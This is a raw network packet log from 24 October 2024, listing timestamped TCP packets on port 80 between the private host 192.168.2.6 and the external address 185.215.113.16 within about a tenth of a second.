Oct 24, 2024 11:02:53.027822971 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027847052 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027853966 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027868032 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027884960 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027899027 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027909040 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027924061 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027935982 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027949095 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027961969 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027973890 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027987003 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027997017 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028017044 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028028011 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028038025 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028063059 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028086901 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028098106 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028120041 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028131008 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028162956 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028170109 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028182030 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028198957 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028208017 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028218985 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028234005 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028244019 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028270006 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028276920 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028290033 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028302908 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028323889 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028331995 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028348923 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028371096 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028387070 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028393030 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028409958 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028423071 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028443098 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028450966 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028462887 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028472900 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028495073 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028506041 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028517962 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028529882 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028553963 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028574944 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028582096 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028600931 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028613091 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028623104 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028649092 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028656006 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028671026 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028686047 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028703928 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028713942 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028728962 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028752089 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028760910 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028775930 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028789043 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028804064 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028814077 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028822899 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028839111 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028846025 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028881073 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028887987 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028902054 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028917074 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028932095 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028943062 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028955936 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028968096 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.028980970 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.028995991 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029011965 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029021978 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029033899 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029045105 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029063940 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029071093 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029081106 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029093027 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029105902 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029119015 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029135942 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029145002 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029162884 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029170036 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029181957 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029191971 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029201984 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029217005 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029232025 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029244900 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029261112 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029268026 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029278040 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029294968 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029308081 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029323101 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029339075 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029349089 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029359102 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029370070 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029380083 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029407024 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029413939 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029437065 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029448032 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029459953 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029484034 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029496908 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029505968 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029517889 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029532909 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029548883 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029566050 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029592991 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029601097 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029609919 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029624939 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029644012 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029654980 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029668093 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029689074 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029700994 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029716015 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029731035 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029746056 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029757023 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029777050 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029788971 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029800892 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029813051 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029823065 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029846907 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029858112 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029876947 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029894114 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029916048 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029927969 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029937983 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029951096 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029963970 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.029978037 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.029989958 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030003071 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030019999 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030028105 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030045033 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030051947 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030061960 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030073881 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030083895 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030097961 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030113935 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030123949 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030133963 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030147076 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030162096 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030178070 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030188084 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030200005 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030210972 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030225039 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030234098 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030247927 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030258894 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030271053 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030281067 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030294895 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030304909 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030318022 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030328035 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030344009 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030354023 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030366898 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030381918 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030395031 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030410051 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030419111 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030440092 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030451059 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030461073 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030484915 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030499935 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030515909 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030525923 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030539036 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030549049 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030563116 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030572891 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030586004 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030601978 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030610085 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030622959 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030635118 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030646086 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030658007 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030668020 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030687094 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030697107 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030710936 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030725002 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030735016 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030745983 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030761003 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030771017 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030785084 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030797005 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030808926 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030819893 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030833006 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030847073 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030854940 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.030879021 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.030894041 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.107933998 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.108015060 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.108045101 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.108071089 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.108087063 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.108102083 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.108114958 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.108131886 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.108139992 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.108164072 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.108175039 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.108187914 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.108201981 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.108227968 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.143431902 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.143501043 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.143513918 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.143527985 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.143543959 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.143557072 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.143579006 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.143590927 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.143861055 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.143889904 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.143910885 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.143923044 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.143938065 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.143954039 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.143964052 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.143990040 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144002914 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144016981 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144046068 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144057989 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144068003 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144084930 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144104958 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144112110 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144123077 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144135952 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144146919 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144160986 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144176960 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144197941 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144221067 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144232035 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144254923 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144270897 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144279957 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144289970 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144303083 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144314051 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144328117 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144340992 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144356012 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144364119 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144383907 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144407034 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144423008 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144432068 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144445896 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144469976 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144479990 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144491911 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144515991 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144532919 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144546986 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144562960 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144582987 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144593954 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144607067 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144623995 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144648075 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144656897 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144673109 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144695044 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144706011 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144730091 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144746065 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144766092 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144773960 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144783974 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144804001 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144815922 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144831896 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144849062 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144861937 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144872904 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144886971 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144896984 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144923925 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144939899 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144954920 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144965887 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.144978046 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.144990921 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145004034 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145013094 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145032883 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145050049 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145060062 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145086050 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145109892 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145121098 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145134926 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145148993 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.145160913 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.145175934 CEST	49887	80	192.168.2.6	185.215.113.16
